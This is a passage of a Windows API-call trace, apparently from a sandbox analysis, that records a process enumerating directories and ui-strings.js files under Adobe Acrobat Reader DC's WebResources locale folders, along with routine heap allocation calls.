ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.231] GetProcessHeap () returned 0xc10000 [0246.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.231] GetProcessHeap () returned 0xc10000 [0246.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.233] GetProcessHeap () returned 0xc10000 [0246.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.234] GetProcessHeap () returned 0xc10000 [0246.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.235] GetProcessHeap () returned 0xc10000 [0246.236] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.236] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0246.236] GetProcessHeap () returned 0xc10000 [0246.236] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0246.237] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.237] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.237] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0246.237] GetProcessHeap () returned 0xc10000 [0246.237] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.237] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0246.238] GetProcessHeap () returned 0xc10000 [0246.238] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0246.239] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.239] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.239] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.239] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0246.240] GetProcessHeap () returned 0xc10000 [0246.240] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.240] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0246.240] GetProcessHeap () returned 0xc10000 [0246.240] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.241] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.241] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.241] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.241] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.242] GetProcessHeap () returned 0xc10000 [0246.242] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.242] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.242] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0246.242] GetProcessHeap () returned 0xc10000 [0246.242] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.277] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.277] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.277] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.277] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.277] GetProcessHeap () returned 0xc10000 [0246.278] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.278] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0246.278] GetProcessHeap () returned 0xc10000 [0246.278] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.396] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.396] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.396] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.396] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.396] GetProcessHeap () returned 0xc10000 [0246.397] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.397] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0246.397] GetProcessHeap () returned 0xc10000 [0246.397] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.397] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.398] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd82, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.398] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd82, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.398] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.398] GetProcessHeap () returned 0xc10000 [0246.398] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.398] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0246.398] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0246.399] GetProcessHeap () returned 0xc10000 [0246.399] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.399] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0246.399] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0246.399] GetProcessHeap () returned 0xc10000 [0246.399] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0246.401] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0246.401] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0246.401] GetProcessHeap () returned 0xc10000 [0246.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0246.402] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0246.402] GetProcessHeap () returned 0xc10000 [0246.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.403] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.404] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: 